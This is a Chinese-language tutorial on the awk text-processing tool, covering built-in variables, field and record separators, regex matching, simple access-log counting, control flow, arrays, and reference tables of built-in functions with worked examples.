awk 'BEGIN{ commands } pattern{ commands } END{ commands }'

下面的流程图描述出了 AWK 的工作流程:

img

  • 1、通过关键字 BEGIN 执行 BEGIN 块的内容,即 BEGIN 后花括号 {} 的内容。

  • 2、完成 BEGIN 块的执行,开始执行body块。

  • 3、读入有 \n 换行符分割的记录。

  • 4、将记录按指定的域分隔符划分域,填充域,$0 则表示所有域(即一行内容),**1表示第一个域,∗∗n表示第 n 个域。

  • 5、依次执行各 BODY 块,pattern 部分匹配该行内容成功后,才会执行 awk-commands 的内容。

  • 6、循环读取并执行各行直到文件结束,完成body块执行。

  • 7、开始 END 块执行,END 块可以输出最终结果。

运算符
运算符描述
= += -= *= /= %= ^= **=赋值
?:C条件表达式
||逻辑或
&&逻辑与
~ 和 !~匹配正则表达式和不匹配正则表达式
< <= > >= != ==关系运算符
空格连接
+ -加,减
* / %乘,除与求余
+ - !一元加,减和逻辑非
^ ***求幂
++ –增加或减少,作为前缀或后缀
$字段引用
in数组成员

过滤第一列大于2的行

1
2
3
4
[root@rocky8:~]# awk '$1>2' log
3 Are you like awk
This's a test
10 There are orange,apple,mongo

过滤第一列等于2的行

1
2
[root@rocky8:~]# awk '$1==2 {print $1,$3}' log 
2 is

过滤第一列大于2并且第二列等于’Are’的行

1
2
[root@rocky8:~]# awk '$1>2 && $2=="Are" {print $1,$2,$3}' log
3 Are you

内建变量

变量描述
$n当前记录的第n个字段,字段间由FS分隔
$0完整的输入记录
ARGC命令行参数的数目
ARGIND命令行中当前文件的位置(从0开始算)
ARGV包含命令行参数的数组
CONVFMT数字转换格式(默认值为%.6g)ENVIRON环境变量关联数组
ERRNO最后一个系统错误的描述
FIELDWIDTHS字段宽度列表(用空格键分隔)
FILENAME当前文件名
FNR各文件分别计数的行号
FS字段分隔符(默认是任何空格)
IGNORECASE如果为真,则进行忽略大小写的匹配
NF一条记录的字段的数目
NR已经读出的记录数,就是行号,从1开始
OFMT数字的输出格式(默认值是%.6g)
OFS输出记录分隔符(输出换行符),输出时用指定的符号代替换行符
ORS输出记录分隔符(默认值是一个换行符)
RLENGTH由match函数所匹配的字符串的长度
RS记录分隔符(默认是一个换行符)
RSTART由match函数所匹配的字符串的第一个位置
SUBSEP数组下标分隔符(默认值是/034)

格式化变量说明:

  • %s 输出字符串

  • %i 输出整数

  • %f 输出浮点数

%-5s 格式为左对齐且宽度为5的字符串代替(-表示左对齐),不使用则是又对齐。
%-4.2f 格式为左对齐宽度为4,保留两位小数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[root@rocky8:~]# awk 'BEGIN{printf "%8s %8s %8s %8s %8s %8s %8s\n","FILENAME","ARGC","FNR","FS","NF","NR","OFS";printf "---------------------------------------------\n"} {printf "%8s %8s %8s %8s %8s %8s %8s\n",FILENAME,ARGC,FNR,FS,NF,NR,OFS}'  log
FILENAME ARGC FNR FS NF NR OFS
---------------------------------------------
log 2 1 5 1
log 2 2 5 2
log 2 3 3 3
log 2 4 4 4

[root@rocky8:~]# awk -F: 'BEGIN{printf "%4s %4s %4s %4s %4s %4s %4s %4s %4s\n","FILENAME","ARGC","FNR","FS","NF","NR","OFS","ORS","RS";printf "---------------------------------------------\n"} {printf "%4s %4s %4s %4s %4s %4s %4s %4s %4s\n",FILENAME,ARGC,FNR,FS,NF,NR,OFS,ORS,RS}' log
FILENAME ARGC FNR FS NF NR OFS ORS RS
---------------------------------------------
log 2 1 : 1 1


log 2 2 : 1 2


log 2 3 : 1 3


log 2 4 : 1 4


输出顺序号 NR, 匹配文本行号
1
2
3
4
5
[root@rocky8:~]# awk '{print NR,FNR,$1,$2,$3}' log
1 1 2 this is
2 2 3 Are you
3 3 This's a test
4 4 10 There are
指定输出分割符
1
2
3
4
5
6
7
8
9
10
11
python@ubuntu:~/test$ cat log.txt 
2 this is a test
3 Are you like awk
This's a test
10 There are orange,apple,mongo
python@ubuntu:~/test$ awk '{print $1,$2,$5}' OFS=" $ " log.txt
2 $ this $ test
3 $ Are $ awk
This's $ a $
10 $ There $
12345678910
忽略大小写
1
2
3
4
5
$ awk 'BEGIN{IGNORECASE=1} /this/' log.txt
---------------------------------------------
2 this is a test
This's a test
1234

RS,ORS,FS,OFS区别与联系

学习awk时,一定要记得动手去实践,只有在实践中才能发现问题,以下就我在学习中和实践中的经验,总结一下RS,ORS,FS,OFS的区别和联系。

一,RS与ORS

1,RS是记录分隔符,默认的分隔符是\n,具体用法看下

1
2
3
4
[root@rocky8:~]# cat test1
111 222
333 444
555 666

2,RS默认分割符\n

1
2
3
4
[root@rocky8:~]# awk '{print $0}' test1  //awk 'BEGIN{RS="\n"}{print $0}' test1 这二个是一样的
111 222
333 444
555 666

其实你可以把上面test1文件里的内容理解为,111 222\n333 444\n555 6666,利用\n进行分割。看下一个例子

3,自定义RS分割符

1
2
3
4
5
[root@rocky8:~]# echo "111 222|333 444|555 666"|awk 'BEGIN{RS="|"}{print $0,RT}'
111 222 |
333 444 |
555 666

结合上面一个例子,就很容易理解RS的用法了。

4,RS也可能是正则表达式

1
2
3
4
[root@rocky8:~]# echo "111 222a333 444b555 666"|awk 'BEGIN{RS="[a-z]+"}{print $1,RS,RT}'
111 [a-z]+ a
333 [a-z]+ b
555 [a-z]+

从例3和例4,我们可以发现一点,当RT是利用RS匹配出来的内容。如果RS是某个固定的值时,RT就是RS的内容

5,RS为空时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@rocky8:~]# cat -n test2
1 111 222
2
3 333 444
4 333 444
5
6
7 555 666
[root@rocky8:~]# awk 'BEGIN{RS=""}{print $0}' test2
111 222
333 444
333 444
555 666
[root@rocky8:~]# awk 'BEGIN{RS=""}{print "<",$0,">"}' test2
< 111 222 >
< 333 444 //这一行和下面一行,是一行
333 444 >
< 555 666 >

6,ORS记录输出分符符,默认值是\n

把ORS理解成RS反过程,这样更容易记忆和理解,看下面的例子。

1
2
3
4
5
6
[root@rocky8:~]# awk 'BEGIN{ORS="\n"}{print $0}' test1 //awk '{print $0}' test1二者是一样的
111 222
333 444
555 666
[root@rocky8:~]# awk 'BEGIN{ORS="|"}{print $0}' test1
111 222|333 444|555 666|[root@rocky8:~]#

二,FS与OFS(不理解)

1,FS指定列分割符

1
2
3
4
[root@rocky8:~]# echo "111|222|333"|awk '{print $1}' 
111|222|333
[root@rocky8:~]# echo "111|222|333"|awk 'BEGIN{FS="|"}{print $1}'
111

2,FS也可以用正则

1
2
[root@rocky8:~]# echo "111||222|333"|awk 'BEGIN{FS="[|]+"}{print $1}'  
111

3,FS为空的时候(不理解为啥要NF++)

1
2
[root@rocky8:~]# echo "111|222|333"|awk 'BEGIN{FS=""}{NF++;print $0}'
1 1 1 | 2 2 2 | 3 3 3

当FS为空的时候,awk会把一行中的每个字符,当成一列来处理

4,RS被设定成非\n时,\n会成FS分割符中的一个

1
2
3
4
5
6
7
[root@rocky8:~]# cat test1
111 222
333 444
555 666
[root@rocky8:~]# awk 'BEGIN{RS="444";}{print $2,$3}' test1
222 333
666

222和333之间是有一个\n的,当RS设定成444后,222和333被认定成同一行的二列了,其实按常规思想是二行的一列才对

5,OFS列输出分隔符

1
2
3
4
5
6
7
8
[root@rocky8:~]# awk 'BEGIN{OFS="|";}{print $1,$2}' test1
111|222
333|444
555|666
[root@rocky8:~]# awk 'BEGIN{OFS="|";}{print $1 OFS $2}' test1
111|222
333|444
555|666

test1只有二列,如果100列,都写出来太麻烦了吧。

1
2
3
4
5
6
7
8
[root@rocky8:~]# awk 'BEGIN{OFS="|";}{print $0}' test1  
111 222
333 444
555 666
[root@rocky8:~]# awk 'BEGIN{OFS="|";}{NF=NF;print $0}' test1
111|222
333|444
555|666

为什么第二种方法中的OFS生效呢?个人觉得,awk觉查到列有所变化时,就会让OFS生效,没变化直接输出了。

此部分转自:海底苍鹰:awk中RS,ORS,FS,OFS区别与联系

正则字符串匹配

~ 表示模式开始。// 中是模式。

输出第二列包含 “th”,并打印第二列与第四列:

1
2
[root@rocky8:~]# awk '$2 ~ /th/ {print $2,$4}' log 
this a

输出包含"re"的行:

1
2
3
[root@rocky8:~]# awk '/re/ {print $0}' log 
3 Are you like awk
10 There are orange,apple,mongo

!表示取反

输出第二列不包含 “th”,并打印第二列与第四列:

1
2
3
4
[root@rocky8:~]# awk '$2 !~ /th/ {print $0}' log 
3 Are you like awk
This's a test
10 There are orange,apple,mongo

输出不包含"re"的行:

1
2
3
[root@rocky8:~]# awk '!/re/ {print $0}' log 
2 this is a test
This's a test

一些实例

计算文件大小

1
2
[root@rocky8:~]# ls -l | awk '{sum+=$5}END{print sum}'
1066

从文件中找出长度大于80的行

1
awk 'length>80' log
1
2
3
4
5
6
7
8
9
[root@rocky8:~]# seq 100|sed ":a;N;s/\n//g;ta" >> log
[root@rocky8:~]# cat log
2 this is a test
3 Are you like awk
This's a test
10 There are orange,apple,mongo
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100
[root@rocky8:~]# awk 'length>80' log
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100

打印九九乘法表

1
seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?"\n":"\t")}'

访问日志分析

日志格式

1
2
[root@rocky8:~]# head access.log -n1
42.236.10.75 "changtou.xiaoxiaoming.xyz" [14/Oct/2019:12:47:18 +0800] "GET /logo/8@3x.png HTTP/1.1" 200 26053 "https://changtou.xiaoxiaoming.xyz/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-CN; EML-AL00 Build/HUAWEIEML-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 baidu.sogo.uc.UCBrowser/11.9.4.974 UWS/2.13.1.48 Mobile Safari/537.36 AliApp(DingTalk/4.5.11) com.alibaba.android.rimet/10487439 Channel/227200 language/zh-CN" "42.236.10.75" rt="0.000" uct="-" uht="-" urt="-"

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1.数据清洗
awk '($6 ~ /.html/) && ($8 ~ /200/) {print $0}' access.log > clean.log

2.统计PV
[root@rocky8:~]# awk '{print $0}' clean.log | wc -l
700
[root@rocky8:~]# cut -d ' ' -f 1 clean.log|wc -l
700

3:UV
[root@rocky8:~]# awk '{print $1}' clean.log |sort|uniq| wc -l
155
[root@rocky8:~]# cut -d ' ' -f 1 clean.log|sort|uniq| wc -l
155

4:获取每天访问网站最多的前10名用户
awk '{print $1}' clean.log|sort|uniq -c|sort -k 1nr|head

cut -d ' ' -f 1 clean.log|sort|uniq -c|sort -k 1nr|head

awk编程

条件语句IF&ELSE

IF 条件语句语法格式如下:

1
2
if (condition)
action

也可以使用花括号来执行一组操作:

1
2
3
4
5
6
7
8
if (condition)
{
action-1
action-2
.
.
action-n
}

判断数字是奇数还是偶数:

1
2
[root@rocky8:~]# awk 'BEGIN {num = 10; if (num % 2 == 0) printf "%d 是偶数\n", num }'
10 是偶数

IF - ELSE 条件语句语法格式如下:

1
2
3
4
5
if (condition)
action-1
else
action-2
1234

在条件语句 condition 为 true 时只需 action-1,否则执行 action-2。

1
2
3
4
5
6
7
8
[root@rocky8:~]# awk 'BEGIN {
> num = 11;
> if (num % 2 == 0) printf "%d 是偶数\n", num;
> else printf "%d 是奇数\n", num
> }'
11 是奇数
[root@rocky8:~]# awk 'BEGIN {num = 11; if (num % 2 == 0) printf "%d 是偶数\n", num; else printf "%d 是奇数\n", num }'
11 是奇数

可以创建多个 IF - ELSE 格式的判断语句来实现多个条件的判断:

1
2
3
4
5
6
7
8
9
$ awk 'BEGIN {
a=30;
if (a==10)
print "a = 10";
else if (a == 20)
print "a = 20";
else if (a == 30)
print "a = 30";
}'

输出结果:

1
2
3
4
5
6
7
8
9
10
[root@rocky8:~]# awk 'BEGIN {
> a=30;
> if (a==10)
> print "a = 10";
> else if (a == 20)
> print "a = 20";
> else if (a == 30)
> print "a = 30";
> }'
a = 30

循环语句For&While

For 循环的语法如下:

1
2
for (initialisation; condition; increment/decrement)
action

下面的例子使用 For 循环输出数字 1 至 5:

1
2
3
4
5
6
python@ubuntu:~/test$ awk 'BEGIN { for (i = 1; i <= 5; ++i) print i }'
1
2
3
4
5

While 循环的语法如下:

1
2
while (condition)
action

下面是使用 While 循环输出数字 1 到 5 的例子:

1
2
3
4
5
6
python@ubuntu:~/test$ awk 'BEGIN {i = 1; while (i < 6) { print i; ++i } }'
1
2
3
4
5

在下面的示例子中,当计算的和大于 50 的时候使用 break 结束循环:

1
2
3
4
5
$ awk 'BEGIN {
sum = 0; for (i = 0; i < 20; ++i) {
sum += i; if (sum > 50) break; else print "Sum =", sum
}
}'

输出结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python@ubuntu:~/test$ awk 'BEGIN {
> sum = 0; for (i = 0; i < 20; ++i) {
> sum += i; if (sum > 50) break; else print "Sum =", sum
> }
> }'
Sum = 0
Sum = 1
Sum = 3
Sum = 6
Sum = 10
Sum = 15
Sum = 21
Sum = 28
Sum = 36
Sum = 45

Continue 语句用于在循环体内部结束本次循环,从而直接进入下一次循环迭代。

下面的例子输出 1 到 20 之间的偶数:

1
2
3
4
5
6
7
8
9
10
11
python@ubuntu:~/test$ awk 'BEGIN {for (i = 1; i <= 20; ++i) {if (i % 2 == 0) print i ; else continue} }'
2
4
6
8
10
12
14
16
18
20

Exit 用于结束脚本程序的执行。

该函数接受一个整数作为参数表示 AWK 进程结束状态。 如果没有提供该参数,其默认状态为 0。

下面例子中当和大于 50 时结束 AWK 程序。

1
2
3
4
5
$ awk 'BEGIN {
sum = 0; for (i = 0; i < 20; ++i) {
sum += i; if (sum > 50) exit(10); else print "Sum =", sum
}
}'

输出结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
python@ubuntu:~/test$ awk 'BEGIN {
> sum = 0; for (i = 0; i < 20; ++i) {
> sum += i; if (sum > 50) exit(10); else print "Sum =", sum
> }
> }'
Sum = 0
Sum = 1
Sum = 3
Sum = 6
Sum = 10
Sum = 15
Sum = 21
Sum = 28
Sum = 36
Sum = 45
python@ubuntu:~/test$ echo $?
10

awk数组

AWK的数组底层数据结构是散列表,索引可以是数字或字符串。

数组使用的语法格式:

1
array_name[index]=value

创建数组并访问数组元素:

1
2
3
4
5
$ awk 'BEGIN {
sites["taobao"]="www.taobao.com";
sites["google"]="www.google.com"
print sites["taobao"] "\n" sites["google"]
}'

删除数组元素语法格式:

1
delete array_name[index]

下面的例子中,数组中的 google 元素被删除(删除命令没有输出):

1
2
3
4
5
6
$ awk 'BEGIN {
sites["taobao"]="www.taobao.com";
sites["google"]="www.google.com"
delete sites["google"];
print sites["google"]
}'

AWK 本身不支持多维数组,不过我们可以很容易地使用一维数组模拟实现多维数组。

如下示例为一个 3x3 的三维数组:

1
2
3
100 200 300
400 500 600
700 800 900

以上实例中,array[0][0] 存储 100,array[0][1] 存储 200 ,依次类推。为了在 array[0][0] 处存储 100, 可以使用字符串0,0 作为索引: array[“0,0”] = 100。

下面是模拟二维数组的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ awk 'BEGIN {
array["0,0"] = 100;
array["0,1"] = 200;
array["0,2"] = 300;
array["1,0"] = 400;
array["1,1"] = 500;
array["1,2"] = 600;
# 输出数组元素
print "array[0,0] = " array["0,0"];
print "array[0,1] = " array["0,1"];
print "array[0,2] = " array["0,2"];
print "array[1,0] = " array["1,0"];
print "array[1,1] = " array["1,1"];
print "array[1,2] = " array["1,2"];
}'

执行上面的命令可以得到如下结果:

1
2
3
4
5
6
array[0,0] = 100
array[0,1] = 200
array[0,2] = 300
array[1,0] = 400
array[1,1] = 500
array[1,2] = 600

在数组上可以执行很多操作,比如,使用 asort 完成数组元素的排序,或者使用 asorti 实现数组索引的排序等等。

AWK 用户自定义函数

自定义函数的语法格式为:

1
2
3
4
function function_name(argument1, argument2, ...)
{
function body
}

以下实例实现了两个简单函数,它们分别返回两个数值中的最小值和最大值。

文件 functions.awk 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 返回最小值
function find_min(num1, num2)
{
if (num1 < num2)
return num1
return num2
}

# 返回最大值
function find_max(num1, num2)
{
if (num1 > num2)
return num1
return num2
}

# 主函数
function main(num1, num2)
{
# 查找最小值
result = find_min(10, 20)
print "Minimum =", result

# 查找最大值
result = find_max(10, 20)
print "Maximum =", result
}

# 脚本从这里开始执行
BEGIN {
main(10, 20)
}

执行 functions.awk 文件,可以得到如下的结果:

1
2
3
$ awk -f functions.awk 
Minimum = 10
Maximum = 20

AWK 内置函数

AWK 内置函数主要有以下几种:

  • 算数函数

  • 字符串函数

  • 时间函数

  • 位操作函数

  • 其它函数

算数函数

函数名说明实例
atan2( y, x )返回 y/x 的反正切。$ awk 'BEGIN { PI = 3.14159265 x = -10 y = 10 result = atan2 (y,x) * 180 / PI; printf "The arc tangent for (x=%f, y=%f) is %f degrees\n", x, y, result }'输出结果为:The arc tangent for (x=-10.000000, y=10.000000) is 135.000000 degrees
cos( x )返回 x 的余弦;x 是弧度。$ awk 'BEGIN { PI = 3.14159265 param = 60 result = cos(param * PI / 180.0); printf "The cosine of %f degrees is %f.\n", param, result }'输出结果为:The cosine of 60.000000 degrees is 0.500000.
sin( x )返回 x 的正弦;x 是弧度。$ awk 'BEGIN { PI = 3.14159265 param = 30.0 result = sin(param * PI /180) printf "The sine of %f degrees is %f.\n", param, result }'输出结果为:The sine of 30.000000 degrees is 0.500000.
exp( x )返回 x 幂函数。$ awk 'BEGIN { param = 5 result = exp(param); printf "The exponential value of %f is %f.\n", param, result }'输出结果为:The exponential value of 5.000000 is 148.413159.
log( x )返回 x 的自然对数。$ awk 'BEGIN { param = 5.5 result = log (param) printf "log(%f) = %f\n", param, result }'输出结果为:log(5.500000) = 1.704748
sqrt( x )返回 x 平方根。$ awk 'BEGIN { param = 1024.0 result = sqrt(param) printf "sqrt(%f) = %f\n", param, result }'输出结果为:sqrt(1024.000000) = 32.000000
int( x )返回 x 的截断至整数的值。$ awk 'BEGIN { param = 5.12345 result = int(param) print "Truncated value =", result }'输出结果为:Truncated value = 5
rand( )返回任意数字 n,其中 0 <= n < 1。$ awk 'BEGIN { print "Random num1 =" , rand() print "Random num2 =" , rand() print "Random num3 =" , rand() }'输出结果为:Random num1 = 0.237788 Random num2 = 0.291066 Random num3 = 0.845814
srand( [Expr] )将 rand 函数的种子值设置为 Expr 参数的值,或如果省略 Expr 参数则使用某天的时间。返回先前的种子值。$ awk 'BEGIN { param = 10 printf "srand() = %d\n", srand() printf "srand(%d) = %d\n", param, srand(param) }'输出结果为:srand() = 1 srand(10) = 1417959587
字符串函数
函数说明实例
gsub( Ere, Repl, [ In ] )gsub 是全局替换( global substitution )的缩写。除了正则表达式所有具体值被替代这点,它和 sub 函数完全一样地执行。$ awk 'BEGIN { str = "Hello, World" print "String before replacement = " str gsub("World", "Jerry", str) print "String after replacement = " str }'输出结果为:String before replacement = Hello, World String after replacement = Hello, Jerry
sub(regex,sub,string)sub 函数执行一次子串替换。它将第一次出现的子串用 regex 替换。第三个参数是可选的,默认为 $0。$ awk 'BEGIN { str = "Hello, World" print "String before replacement = " str sub("World", "Jerry", str) print "String after replacement = " str }'输出结果为:String before replacement = Hello, World String after replacement = Hello, Jerry
substr(str, start, l)substr 函数返回 str 字符串中从第 start 个字符开始长度为 l 的子串。如果没有指定 l 的值,返回 str 从第 start 个字符开始的后缀子串。$ awk 'BEGIN { str = "Hello, World !!!" subs = substr(str, 1, 5) print "Substring = " subs }'输出结果为:Substring = Hello
index( String1, String2 )在由 String1 参数指定的字符串(其中有出现 String2 指定的参数)中,返回位置,从 1 开始编号。如果 String2 参数不在 String1 参数中出现,则返回 0(零)。$ awk 'BEGIN { str = "One Two Three" subs = "Two" ret = index(str, subs) printf "Substring \"%s\" found at %d location.\n", subs, ret }'输出结果为:Substring "Two" found at 5 location.
length [(String)]返回 String 参数指定的字符串的长度(字符形式)。如果未给出 String 参数,则返回整个记录的长度($0 记录变量)。$ awk 'BEGIN { str = "Hello, World !!!" print "Length = ", length(str) }'输出结果为:Substring "Two" found at 5 location.
blength [(String)]返回 String 参数指定的字符串的长度(以字节为单位)。如果未给出 String 参数,则返回整个记录的长度($0 记录变量)。
substr( String, M, [ N ] )返回具有 N 参数指定的字符数量子串。子串从 String 参数指定的字符串取得,其字符以 M 参数指定的位置开始。M 参数指定为将 String 参数中的第一个字符作为编号 1。如果未指定 N 参数,则子串的长度将是 M 参数指定的位置到 String 参数的末尾 的长度。$ awk 'BEGIN { str = "Hello, World !!!" subs = substr(str, 1, 5) print "Substring = " subs }'输出结果为:Substring = Hello
match( String, Ere )在 String 参数指定的字符串(Ere 参数指定的扩展正则表达式出现在其中)中返回位置(字符形式),从 1 开始编号,或如果 Ere 参数不出现,则返回 0(零)。RSTART 特殊变量设置为返回值。RLENGTH 特殊变量设置为匹配的字符串的长度,或如果未找到任何匹配,则设置为 -1(负一)。$ awk 'BEGIN { str = "One Two Three" subs = "Two" ret = match(str, subs) printf "Substring \"%s\" found at %d location.\n", subs, ret }'输出结果为:Substring "Two" found at 5 location.
split( String, A, [Ere] )将 String 参数指定的参数分割为数组元素 A[1], A[2], . . ., A[n],并返回 n 变量的值。此分隔可以通过 Ere 参数指定的扩展正则表达式进行,或用当前字段分隔符(FS 特殊变量)来进行(如果没有给出 Ere 参数)。除非上下文指明特定的元素还应具有一个数字值,否则 A 数组中的元素用字符串值来创建。$ awk 'BEGIN { str = "One,Two,Three,Four" split(str, arr, ",") print "Array contains following values" for (i in arr) { print arr[i] } }'输出结果为:Array contains following values One Two Three Four
tolower( String )返回 String 参数指定的字符串,字符串中每个大写字符将更改为小写。大写和小写的映射由当前语言环境的 LC_CTYPE 范畴定义。$ awk 'BEGIN { str = "HELLO, WORLD !!!" print "Lowercase string = " tolower(str) }'输出结果为:Lowercase string = hello, world !!!
toupper( String )返回 String 参数指定的字符串,字符串中每个小写字符将更改为大写。大写和小写的映射由当前语言环境的 LC_CTYPE 范畴定义。$ awk 'BEGIN { str = "hello, world !!!" print "Uppercase string = " toupper(str) }'输出结果为:Uppercase string = HELLO, WORLD !!!
sprintf(Format, Expr, Expr, . . . )根据 Format 参数指定的 printf 子例程格式字符串来格式化 Expr 参数指定的表达式并返回最后生成的字符串。$ awk 'BEGIN { str = sprintf("%s", "Hello, World !!!") print str }'输出结果为:Hello, World !!!
strtonum(str)strtonum 将字符串 str 转换为数值。 如果字符串以 0 开始,则将其当作十进制数;如果字符串以 0x 或 0X 开始,则将其当作十六进制数;否则,将其当作浮点数。$ awk 'BEGIN { print "Decimal num = " strtonum("123") print "Octal num = " strtonum("0123") print "Hexadecimal num = " strtonum("0x123") }'输出结果为:Decimal num = 123 Octal num = 83 Hexadecimal num = 291

**注:**Ere 部分可以是正则表达式。

1、gsub、sub 使用

1
2
$ awk 'BEGIN{info="this is a test2012test!";gsub(/[0-9]+/,"||",info);print info}'
this is a test||test!

2、查找字符串(index 使用)

使用了三元运算符: 表达式 ? 动作1 : 动作2

1
2
3
4
5
6
$ awk 'BEGIN{info="this is a test2012test!";print index(info,"11111")?"ok":"no found";}'
no found
$ awk 'BEGIN{info="this is a test2012test!";print index(info,"is")?"ok":"no found";}'
ok
$ awk 'BEGIN{info="this is a test2012test!";print index(info,"test")?"ok":"no found";}'
ok

3、正则表达式匹配查找(match 使用)

1
2
$ awk 'BEGIN{info="this is a test2012test!";print match(info,/[0-9]+/)?"ok":"no found";}'
ok

4、截取字符串(substr使用)

从第 4 个 字符开始,截取 10 个长度字符串。

1
2
$ awk 'BEGIN{info="this is a test2012test!";print substr(info,4,10);}'
s is a tes

5、字符串分割(split使用)

1
2
3
4
5
6
$ awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA){print k,tA[k];}}'
4
2 is
3 a
4 test
1 this

分割 info,将 info 字符串使用空格切分为动态数组 tA。注意 awk for …in 循环,是一个无序的循环。 并不是从数组下标 1…n ,因此使用时候需要特别注意。

时间函数
函数名说明实例
mktime( YYYY MM DD HH MM SS[ DST])生成时间格式$ awk 'BEGIN { print "Number of seconds since the Epoch = " mktime("2014 12 14 30 20 10") }'输出结果为:Number of seconds since the Epoch = 1418604610
strftime([format [, timestamp]])格式化时间输出,将时间戳转为时间字符串 具体格式,见下表.$ awk 'BEGIN { print strftime("Time = %m/%d/%Y %H:%M:%S", systime()) }'输出结果为:Time = 12/14/2014 22:08:42
systime()得到时间戳,返回从1970年1月1日开始到当前时间(不计闰年)的整秒数awk 'BEGIN{now=systime();print now}'输出结果为:1343210982

strftime 日期和时间格式说明符:

序号描述
%a星期缩写(Mon-Sun)。
%A星期全称(Monday-Sunday)。
%b月份缩写(Jan)。
%B月份全称(January)。
%c本地日期与时间。
%C年份中的世纪部分,其值为年份整除100。
%d十进制日期(01-31)
%D等价于 %m/%d/%y.
%e日期,如果只有一位数字则用空格补齐
%F等价于 %Y-%m-%d,这也是 ISO 8601 标准日期格式。
%gISO8610 标准周所在的年份模除 100(00-99)。比如,1993 年 1 月 1 日属于 1992 年的第 53 周。所以,虽然它是 1993 年第 1 天,但是其 ISO8601 标准周所在年份却是 1992。同样,尽管 1973 年 12 月 31 日属于 1973 年但是它却属于 1994 年的第一周。所以 1973 年 12 月 31 日的 ISO8610 标准周所在的年是 1974 而不是 1973。
%GISO 标准周所在年份的全称。
%h等价于 %b.
%H用十进制表示的 24 小时格式的小时(00-23)
%I用十进制表示的 12 小时格式的小时(00-12)
%j一年中的第几天(001-366)
%m月份(01-12)
%M分钟数(00-59)
%n换行符 (ASCII LF)
%p十二进制表示法(AM/PM)
%r十二进制表示法的时间(等价于 %I:%M:%S %p)。
%R等价于 %H:%M。
%S时间的秒数值(00-60)
%t制表符 (tab)
%T等价于 %H:%M:%S。
%u以数字表示的星期(1-7),1 表示星期一。
%U一年中的第几个星期(第一个星期天作为第一周的开始),00-53
%V一年中的第几个星期(第一个星期一作为第一周的开始),01-53。
%w以数字表示的星期(0-6),0表示星期日 。
%W十进制表示的一年中的第几个星期(第一个星期一作为第一周的开始),00-53。
%x本地日期表示
%X本地时间表示
%y年份模除 100。
%Y十进制表示的完整年份。
%z时区,表示格式为+HHMM(例如,格式要求生成的 RFC 822或者 RFC 1036 时间头)
%Z时区名称或缩写,如果时区待定则无输出。
位操作函数
函数名说明实例
and位与操作。$ awk 'BEGIN { num1 = 10 num2 = 6 printf "(%d AND %d) = %d\n", num1, num2, and(num1, num2) }'输出结果为:(10 AND 6) = 2
compl按位求补。$ awk 'BEGIN { num1 = 10 printf "compl(%d) = %d\n", num1, compl(num1) }'输出结果为:compl(10) = 9007199254740981
lshift左移位操作$ awk 'BEGIN { num1 = 10 printf "lshift(%d) by 1 = %d\n", num1, lshift(num1, 1) }'输出结果为:lshift(10) by 1 = 20
rshift右移位操作$ awk 'BEGIN { num1 = 10 printf "rshift(%d) by 1 = %d\n", num1, rshift(num1, 1) }'输出结果为:rshift(10) by 1 = 5
or按位或操作$ awk 'BEGIN { num1 = 10 num2 = 6 printf "(%d OR %d) = %d\n", num1, num2, or(num1, num2) }'输出结果为:(10 OR 6) = 14
xor按位异或操作$ awk 'BEGIN { num1 = 10 num2 = 6 printf "(%d XOR %d) = %d\n", num1, num2, xor(num1, num2) }'输出结果为:(10 bitwise xor 6) = 12
其他函数
函数名说明实例
close(expr)关闭管道的文件`$ awk 'BEGIN { cmd = “tr [a-z] [A-Z]” print “hello, world !!!”
delete用于从数组中删除元素$ awk 'BEGIN { arr[0] = "One" arr[1] = "Two" arr[2] = "Three" arr[3] = "Four" print "Array elements before delete operation:" for (i in arr) { print arr[i] } delete arr[0] delete arr[1] print "Array elements after delete operation:" for (i in arr) { print arr[i] } }'输出结果为:Array elements before delete operation: One Two Three Four Array elements after delete operation: Three Four
exit终止脚本执行,它可以接受可选的参数 expr 传递 AWK 返回状态。$ awk 'BEGIN { print "Hello, World !!!" exit 10 print "AWK never executes this statement." }'输出结果为:Hello, World !!!
flush刷新打开文件或管道的缓冲区
getline读入下一行使用 getline 从文件 marks.txt 中读入一行并输出:$ awk '{getline; print $0}' marks.txt,AWK 从文件 marks.txt 中读入一行存储到变量 0 中。在下一条语句中,我们使用 getline 读入下一行。因此AWK读入第二行并存储到 0 中。最后,AWK 使用 print 输出第二行的内容。这个过程一直到文件结束。
next停止处理当前记录,并且进入到下一条记录的处理过程。当模式串匹配成功后程序并不执行任何操作:$ awk '{if ($0 ~/Shyam/) next; print $0}' marks.txt
nextfile停止处理当前文件,从下一个文件第一个记录开始处理。首先创建两个文件。 file1.txt 内容如下:file1:str1 file1:str2 file1:str3 file1:str4文件 file2.txt 内容如下:file2:str1 file2:str2 file2:str3 file2:str4现在我们来测试 nextfile 函数。$ awk '{ if ($0 ~ /file1:str2/) nextfile; print $0 }' file1.txt file2.txt输出结果为:file1:str1 file2:str1 file2:str2 file2:str3 file2:str4
return从用户自定义的函数中返回值。请注意,如果没有指定返回值,那么的返回值是未定义的。创建文件 functions.awk,内容如下:function addition(num1, num2) { result = num1 + num2 return result } BEGIN { res = addition(10, 20) print "10 + 20 = " res }执行该文件:$ awk -f functions.awk 10 + 20 = 30
system执行特定的命令然后返回其退出状态。返回值为 0 表示命令执行成功;非 0 表示命令执行失败。$ awk 'BEGIN { ret = system("date"); print "Return value = " ret }'输出结果为:Sun Dec 21 23:16:07 IST 2014 Return value = 0

本文参考:

linux三剑客sed之模式空间与保持空间